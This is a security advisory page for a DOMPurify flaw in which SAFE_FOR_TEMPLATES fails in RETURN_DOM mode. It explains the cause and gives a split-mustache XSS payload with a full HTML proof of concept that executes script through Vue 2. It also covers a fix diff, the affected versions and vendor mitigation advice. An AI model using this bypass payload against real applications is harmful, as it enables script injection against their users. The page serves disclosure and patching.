GHSA-crv5-9vww-q3g8
MEDIUMGHSA-crv5-9vww-q3g8 is a medium-severity (CVSS 6.8) vulnerability in dompurify. O3 Security confirms whether GHSA-crv5-9vww-q3g8 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
dompurifynpmDescription
Summary
SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.
Technical Details
DOMPurify strips template expressions in two passes:
- Per-node — each text node is checked during the tree walk (
purify.ts:1179-1191):
// pass #1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
content = currentNode.textContent;
content = content.replace(MUSTACHE_EXPR, ' '); // {{...}} -> ' '
content = content.replace(ERB_EXPR, ' '); // <%...%> -> ' '
content = content.replace(TMPLIT_EXPR, ' '); // ${... -> ' '
currentNode.textContent = content;
}
- Final string scrub — after serialization, the full HTML string is scrubbed again (
purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.
The RETURN_DOM path returns before pass #2 ever runs (purify.ts:1637-1661):
// purify.ts (simplified)
if (RETURN_DOM) {
// ... build returnNode ...
return returnNode; // <-- exits here, pass #2 never runs
}
// pass #2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;
The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:
- Parser creates:
TEXT("{")→<foo>→TEXT("{payload}")→<foo>→TEXT("}")— no single node contains{{, so pass #1 misses it <foo>is not allowed, so DOMPurify removes it but keeps surrounding text- The three text nodes are now adjacent —
.outerHTMLreads them as{{payload}}, which Vue 2 compiles and executes
Reproduce
Open the following html in any browser and alert(1) pops up.
<!DOCTYPE html>
<html>
<body>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/vue.min.js"></script>
<script>
var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
document.body.appendChild(dom.firstChild);
new Vue({ el: '#app' });
</script>
</body>
</html>
Impact
Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.
Recommendations
Fix
normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.
if (RETURN_DOM) {
+ if (SAFE_FOR_TEMPLATES) {
+ body.normalize();
+ let html = body.innerHTML;
+ arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+ html = stringReplace(html, expr, ' ');
+ });
+ body.innerHTML = html;
+ }
+
if (RETURN_DOM_FRAGMENT) {
returnNode = createDocumentFragment.call(body.ownerDocument);
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | dompurify | ≥ 1.0.10&&< 3.4.0 | 3.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompurify. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update dompurify to 3.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-crv5-9vww-q3g8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-crv5-9vww-q3g8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-crv5-9vww-q3g8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-crv5-9vww-q3g8 in your dependencies?
O3 detects GHSA-crv5-9vww-q3g8 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.